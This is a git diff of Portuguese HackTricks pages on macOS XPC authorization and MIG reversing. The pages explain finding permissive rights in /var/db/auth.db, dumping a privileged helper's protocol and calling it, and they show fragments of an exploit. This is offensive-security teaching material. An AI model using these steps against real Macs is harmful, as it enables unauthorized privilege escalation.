r8 = *(int32_t *)(var_10 + 0x14);
|
||||
r8 = r8 - 0x1f4;
|
||||
if (r8 < 0x0) {
|
||||
if (CPU_FLAGS & L) {
|
||||
if (r8 < 0x0) {
|
||||
if (CPU_FLAGS & L) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
// 0x1f4 = 500 (o ID inicial)
|
||||
// 0x1f4 = 500 (o ID de início)
|
||||
<strong> r8 = r8 - 0x1f4;
|
||||
</strong> asm { smaddl x8, w8, w9, x10 };
|
||||
r8 = *(r8 + 0x8);
|
||||
var_20 = r8;
|
||||
r8 = r8 - 0x0;
|
||||
if (r8 != 0x0) {
|
||||
if (CPU_FLAGS & NE) {
|
||||
if (CPU_FLAGS & NE) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// Mesmo if else da versão anterior
|
||||
// Mesmo se else que na versão anterior
|
||||
// Verifique o uso do endereço 0x100004040 (array de endereços de funções)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||
var_4 = 0x0;
|
||||
|
@ -331,24 +364,22 @@ return r0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Na verdade, se você for à função **`0x100004000`**, encontrará o array de structs **`routine_descriptor`**. O primeiro elemento da struct é o **endereço** onde a **função** é implementada, e a **struct ocupa 0x28 bytes**, então a cada 0x28 bytes (começando do byte 0) você pode obter 8 bytes e esse será o **endereço da função** que será chamada:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
Na verdade, se você for para a função **`0x100004000`**, encontrará o array de structs **`routine_descriptor`**. O primeiro elemento da struct é o **endereço** onde a **função** é implementada, e a **struct ocupa 0x28 bytes**, então a cada 0x28 bytes (começando do byte 0) você pode obter 8 bytes e esse será o **endereço da função** que será chamada:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Esses dados podem ser extraídos [**usando este script do Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do Telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
|
|
@ -1,28 +1,28 @@
|
|||
# Autorização macOS XPC
|
||||
# Autorização XPC no macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Autorização XPC
|
||||
|
||||
A Apple também propõe outra maneira de autenticar se o processo de conexão tem **permissões para chamar um método XPC exposto**.
|
||||
A Apple também propõe outra maneira de autenticar se o processo conectado tem **permissões para chamar um método XPC exposto**.
|
||||
|
||||
Quando uma aplicação precisa **executar ações como um usuário privilegiado**, em vez de rodar o app como um usuário privilegiado, geralmente instala como root um HelperTool como um serviço XPC que pode ser chamado pelo app para realizar essas ações. No entanto, o app que chama o serviço deve ter autorização suficiente.
|
||||
Quando um aplicativo precisa **executar ações como um usuário privilegiado**, em vez de executar o aplicativo como um usuário privilegiado, geralmente instala como root um HelperTool como um serviço XPC que pode ser chamado pelo aplicativo para realizar essas ações. No entanto, o aplicativo que chama o serviço deve ter autorização suficiente.
|
||||
|
||||
### ShouldAcceptNewConnection sempre YES
|
||||
|
||||
Um exemplo pode ser encontrado em [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). Em `App/AppDelegate.m`, ele tenta **conectar** ao **HelperTool**. E em `HelperTool/HelperTool.m`, a função **`shouldAcceptNewConnection`** **não verifica** nenhum dos requisitos indicados anteriormente. Ela sempre retornará YES:
|
||||
Um exemplo pode ser encontrado em [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). Em `App/AppDelegate.m`, ele tenta **conectar** ao **HelperTool**. E em `HelperTool/HelperTool.m`, a função **`shouldAcceptNewConnection`** **não verificará** nenhum dos requisitos indicados anteriormente. Ele sempre retornará YES:
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||
|
@ -39,7 +39,7 @@ newConnection.exportedObject = self;
|
|||
return YES;
|
||||
}
|
||||
```
|
||||
Para mais informações sobre como configurar corretamente esta verificação:
|
||||
Para obter mais informações sobre como configurar corretamente esta verificação:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||
|
@ -49,7 +49,7 @@ Para mais informações sobre como configurar corretamente esta verificação:
|
|||
|
||||
No entanto, há alguma **autorização ocorrendo quando um método do HelperTool é chamado**.
|
||||
|
||||
A função **`applicationDidFinishLaunching`** de `App/AppDelegate.m` criará uma referência de autorização vazia após o início do aplicativo. Isso sempre deve funcionar.\
|
||||
A função **`applicationDidFinishLaunching`** de `App/AppDelegate.m` criará uma referência de autorização vazia após o aplicativo ser iniciado. Isso deve funcionar sempre.\
|
||||
Em seguida, tentará **adicionar alguns direitos** a essa referência de autorização chamando `setupAuthorizationRights`:
|
||||
```objectivec
|
||||
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||
|
@ -74,7 +74,7 @@ if (self->_authRef) {
|
|||
[self.window makeKeyAndOrderFront:self];
|
||||
}
|
||||
```
|
||||
A função `setupAuthorizationRights` de `Common/Common.m` armazenará no banco de dados de autenticação `/var/db/auth.db` os direitos da aplicação. Observe como ela adicionará apenas os direitos que ainda não estão no banco de dados:
|
||||
A função `setupAuthorizationRights` do arquivo `Common/Common.m` irá armazenar no banco de dados de autorização `/var/db/auth.db` os direitos da aplicação. Observe como ela irá adicionar apenas os direitos que ainda não estão no banco de dados:
|
||||
```objectivec
|
||||
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||
// See comment in header.
|
||||
|
@ -106,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess);
|
|||
}];
|
||||
}
|
||||
```
|
||||
A função `enumerateRightsUsingBlock` é a utilizada para obter permissões de aplicações, que são definidas em `commandInfo`:
|
||||
A função `enumerateRightsUsingBlock` é aquela usada para obter permissões de aplicativos, que são definidas em `commandInfo`:
|
||||
```objectivec
|
||||
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
||||
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
||||
|
@ -184,15 +184,15 @@ block(authRightName, authRightDefault, authRightDesc);
|
|||
}];
|
||||
}
|
||||
```
|
||||
Isso significa que, ao final desse processo, as permissões declaradas dentro de `commandInfo` serão armazenadas em `/var/db/auth.db`. Observe como lá você pode encontrar para **cada método** que irá **requerer autenticação**, **nome da permissão** e o **`kCommandKeyAuthRightDefault`**. Este último **indica quem pode obter esse direito**.
|
||||
Isso significa que no final desse processo, as permissões declaradas dentro de `commandInfo` serão armazenadas em `/var/db/auth.db`. Observe como lá você pode encontrar para **cada método** que **requer autenticação**, o **nome da permissão** e o **`kCommandKeyAuthRightDefault`**. Este último **indica quem pode obter esse direito**.
|
||||
|
||||
Existem diferentes escopos para indicar quem pode acessar um direito. Alguns deles são definidos em [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (você pode encontrar [todos eles aqui](https://www.dssw.co.uk/reference/authorization-rights/)), mas como resumo:
|
||||
Existem diferentes escopos para indicar quem pode acessar um direito. Alguns deles estão definidos em [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (você pode encontrar [todos eles aqui](https://www.dssw.co.uk/reference/authorization-rights/)), mas em resumo:
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">Nome</th><th width="165">Valor</th><th>Descrição</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Qualquer um</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Ninguém</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>O usuário atual precisa ser um administrador (dentro do grupo de admin)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Pedir para o usuário se autenticar.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Pedir para o usuário se autenticar. Ele precisa ser um administrador (dentro do grupo de admin)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Especificar regras</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Especificar alguns comentários extras sobre o direito</td></tr></tbody></table>
|
||||
<table><thead><tr><th width="284.3333333333333">Nome</th><th width="165">Valor</th><th>Descrição</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Qualquer pessoa</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Ninguém</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>O usuário atual precisa ser um administrador (dentro do grupo de administradores)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Pedir ao usuário para autenticar.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Pedir ao usuário para autenticar. Ele precisa ser um administrador (dentro do grupo de administradores)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Especificar regras</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Especificar alguns comentários extras sobre o direito</td></tr></tbody></table>
|
||||
|
||||
### Verificação de Direitos
|
||||
|
||||
No `HelperTool/HelperTool.m` a função **`readLicenseKeyAuthorization`** verifica se o chamador está autorizado a **executar tal método** chamando a função **`checkAuthorization`**. Esta função verificará se o **authData** enviado pelo processo de chamada tem um **formato correto** e, em seguida, verificará **o que é necessário para obter o direito** de chamar o método específico. Se tudo correr bem, o **`error` retornado será `nil`**:
|
||||
Em `HelperTool/HelperTool.m`, a função **`readLicenseKeyAuthorization`** verifica se o chamador está autorizado a **executar tal método** chamando a função **`checkAuthorization`**. Esta função verificará se os **dados de autenticação** enviados pelo processo chamador têm um **formato correto** e então verificará **o que é necessário para obter o direito** de chamar o método específico. Se tudo correr bem, o **`erro` retornado será `nil`**:
|
||||
```objectivec
|
||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||
{
|
||||
|
@ -240,13 +240,13 @@ assert(junk == errAuthorizationSuccess);
|
|||
return error;
|
||||
}
|
||||
```
|
||||
Observe que para **verificar os requisitos para obter o direito** de chamar esse método, a função `authorizationRightForCommand` irá apenas verificar o objeto previamente comentado **`commandInfo`**. Em seguida, ela chamará **`AuthorizationCopyRights`** para verificar **se possui os direitos** para chamar a função (note que as flags permitem interação com o usuário).
|
||||
Note que para **verificar os requisitos para obter o direito** de chamar esse método, a função `authorizationRightForCommand` irá apenas verificar o objeto comentado anteriormente **`commandInfo`**. Em seguida, ela chamará **`AuthorizationCopyRights`** para verificar **se tem os direitos** de chamar a função (observe que as flags permitem interação com o usuário).
|
||||
|
||||
Neste caso, para chamar a função `readLicenseKeyAuthorization`, o `kCommandKeyAuthRightDefault` é definido como `@kAuthorizationRuleClassAllow`. Então, **qualquer um pode chamá-lo**.
|
||||
Neste caso, para chamar a função `readLicenseKeyAuthorization`, o `kCommandKeyAuthRightDefault` é definido como `@kAuthorizationRuleClassAllow`. Portanto, **qualquer pessoa pode chamá-lo**.
|
||||
|
||||
### Informações do DB
|
||||
### Informações do Banco de Dados
|
||||
|
||||
Foi mencionado que essa informação é armazenada em `/var/db/auth.db`. Você pode listar todas as regras armazenadas com:
|
||||
Foi mencionado que essas informações são armazenadas em `/var/db/auth.db`. Você pode listar todas as regras armazenadas com:
|
||||
```sql
|
||||
sudo sqlite3 /var/db/auth.db
|
||||
SELECT name FROM rules;
|
||||
|
@ -258,17 +258,17 @@ security authorizationdb read com.apple.safaridriver.allow
|
|||
```
|
||||
### Direitos permissivos
|
||||
|
||||
Você pode encontrar **todas as configurações de permissões** [**aqui**](https://www.dssw.co.uk/reference/authorization-rights/), mas as combinações que não exigirão interação do usuário seriam:
|
||||
Você pode encontrar **todas as configurações de permissões** [**aqui**](https://www.dssw.co.uk/reference/authorization-rights/), mas as combinações que não exigiriam interação do usuário seriam:
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
* Esta é a chave mais direta. Se definida como `false`, especifica que um usuário não precisa fornecer autenticação para obter esse direito.
|
||||
* Isso é usado em **combinação com uma das 2 abaixo ou indicando um grupo** ao qual o usuário deve pertencer.
|
||||
2. **'allow-root': 'true'**
|
||||
* Se um usuário estiver operando como usuário root (que possui permissões elevadas) e essa chave estiver definida como `true`, o usuário root poderia potencialmente obter esse direito sem autenticação adicional. No entanto, tipicamente, alcançar o status de usuário root já requer autenticação, então isso não é um cenário de "sem autenticação" para a maioria dos usuários.
|
||||
* Se um usuário estiver operando como usuário root (que possui permissões elevadas) e essa chave estiver definida como `true`, o usuário root poderia potencialmente obter esse direito sem mais autenticação. No entanto, normalmente, chegar a um status de usuário root já requer autenticação, então este não é um cenário de "sem autenticação" para a maioria dos usuários.
|
||||
3. **'session-owner': 'true'**
|
||||
* Se definido como `true`, o proprietário da sessão (o usuário atualmente logado) obteria automaticamente esse direito. Isso pode contornar autenticação adicional se o usuário já estiver logado.
|
||||
* Se definido como `true`, o proprietário da sessão (o usuário atualmente logado) automaticamente obteria esse direito. Isso pode ignorar autenticação adicional se o usuário já estiver logado.
|
||||
4. **'shared': 'true'**
|
||||
* Esta chave não concede direitos sem autenticação. Em vez disso, se definida como `true`, significa que, uma vez que o direito tenha sido autenticado, ele pode ser compartilhado entre vários processos sem que cada um precise se reautenticar. Mas a concessão inicial do direito ainda exigiria autenticação, a menos que combinada com outras chaves como `'authenticate-user': 'false'`.
|
||||
* Esta chave não concede direitos sem autenticação. Em vez disso, se definida como `true`, significa que uma vez que o direito tenha sido autenticado, ele pode ser compartilhado entre vários processos sem que cada um precise se autenticar novamente. Mas a concessão inicial do direito ainda exigiria autenticação, a menos que combinada com outras chaves como `'authenticate-user': 'false'`.
|
||||
|
||||
Você pode [**usar este script**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) para obter os direitos interessantes:
|
||||
```bash
|
||||
|
@ -281,29 +281,29 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek,
|
|||
Rights with 'session-owner': 'true':
|
||||
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
|
||||
```
|
||||
## Inversão de Autorização
|
||||
## Reversão de Autorização
|
||||
|
||||
### Verificando se EvenBetterAuthorization é usado
|
||||
### Verificando se o EvenBetterAuthorization é utilizado
|
||||
|
||||
Se você encontrar a função: **`[HelperTool checkAuthorization:command:]`**, é provável que o processo esteja usando o esquema de autorização mencionado anteriormente:
|
||||
Se você encontrar a função: **`[HelperTool checkAuthorization:command:]`** provavelmente o processo está usando o esquema de autorização mencionado anteriormente:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Então, se esta função estiver chamando funções como `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, ela está usando [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||
Assim, se esta função estiver chamando funções como `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, está usando [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||
|
||||
Verifique o **`/var/db/auth.db`** para ver se é possível obter permissões para chamar alguma ação privilegiada sem interação do usuário.
|
||||
|
||||
### Comunicação de Protocolo
|
||||
|
||||
Em seguida, você precisa encontrar o esquema do protocolo para poder estabelecer uma comunicação com o serviço XPC.
|
||||
Em seguida, você precisa encontrar o esquema de protocolo para ser capaz de estabelecer uma comunicação com o serviço XPC.
|
||||
|
||||
A função **`shouldAcceptNewConnection`** indica o protocolo que está sendo exportado:
|
||||
A função **`shouldAcceptNewConnection`** indica o protocolo sendo exportado:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Neste caso, temos o mesmo que no EvenBetterAuthorizationSample, [**verifique esta linha**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
|
||||
Sabendo o nome do protocolo usado, é possível **despejar sua definição de cabeçalho** com:
|
||||
Sabendo o nome do protocolo utilizado, é possível **despejar sua definição de cabeçalho** com:
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
|
@ -317,7 +317,7 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
|||
@end
|
||||
[...]
|
||||
```
|
||||
Por fim, precisamos apenas saber o **nome do Serviço Mach exposto** para estabelecer uma comunicação com ele. Existem várias maneiras de encontrar isso:
|
||||
Por último, precisamos saber o **nome do Serviço Mach exposto** para estabelecer uma comunicação com ele. Existem várias maneiras de encontrar isso:
|
||||
|
||||
* No **`[HelperTool init]`** onde você pode ver o Serviço Mach sendo usado:
|
||||
|
||||
|
@ -341,9 +341,9 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
|||
Neste exemplo é criado:
|
||||
|
||||
* A definição do protocolo com as funções
|
||||
* Uma autenticação vazia para solicitar acesso
|
||||
* Uma autenticação vazia para usar ao solicitar acesso
|
||||
* Uma conexão com o serviço XPC
|
||||
* Uma chamada à função se a conexão for bem-sucedida
|
||||
* Uma chamada para a função se a conexão for bem-sucedida
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Security expl.m -o expl
|
||||
|
||||
|
@ -427,14 +427,14 @@ NSLog(@"Finished!");
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Ataque xpc\_connection\_get\_audit\_token no macOS
|
||||
# Ataque xpc\_connection\_get\_audit\_token do macOS
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,15 +6,15 @@
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
**Para mais informações, confira o post original: [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)**. Este é um resumo:
|
||||
**Para mais informações, consulte o post original:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Este é um resumo:
|
||||
|
||||
## Informações Básicas sobre Mensagens Mach
|
||||
|
||||
|
@ -25,7 +25,7 @@ Se você não sabe o que são Mensagens Mach, comece verificando esta página:
|
|||
{% endcontent-ref %}
|
||||
|
||||
Por enquanto, lembre-se de que ([definição daqui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
As mensagens Mach são enviadas por meio de uma _porta mach_, que é um canal de comunicação de **um receptor, vários remetentes** integrado ao kernel mach. **Múltiplos processos podem enviar mensagens** para uma porta mach, mas em qualquer momento **apenas um processo pode lê-la**. Assim como descritores de arquivos e soquetes, as portas mach são alocadas e gerenciadas pelo kernel e os processos veem apenas um número inteiro, que podem usar para indicar ao kernel qual de suas portas mach desejam usar.
|
||||
As mensagens Mach são enviadas por uma _porta mach_, que é um canal de comunicação de **um receptor, vários remetentes** integrado ao kernel mach. **Múltiplos processos podem enviar mensagens** para uma porta mach, mas em qualquer momento **apenas um processo pode lê-la**. Assim como descritores de arquivo e soquetes, as portas mach são alocadas e gerenciadas pelo kernel e os processos veem apenas um número inteiro, que podem usar para indicar ao kernel qual de suas portas mach desejam usar.
|
||||
|
||||
## Conexão XPC
|
||||
|
||||
|
@ -37,18 +37,18 @@ Se você não sabe como uma conexão XPC é estabelecida, verifique:
|
|||
|
||||
## Resumo da Vulnerabilidade
|
||||
|
||||
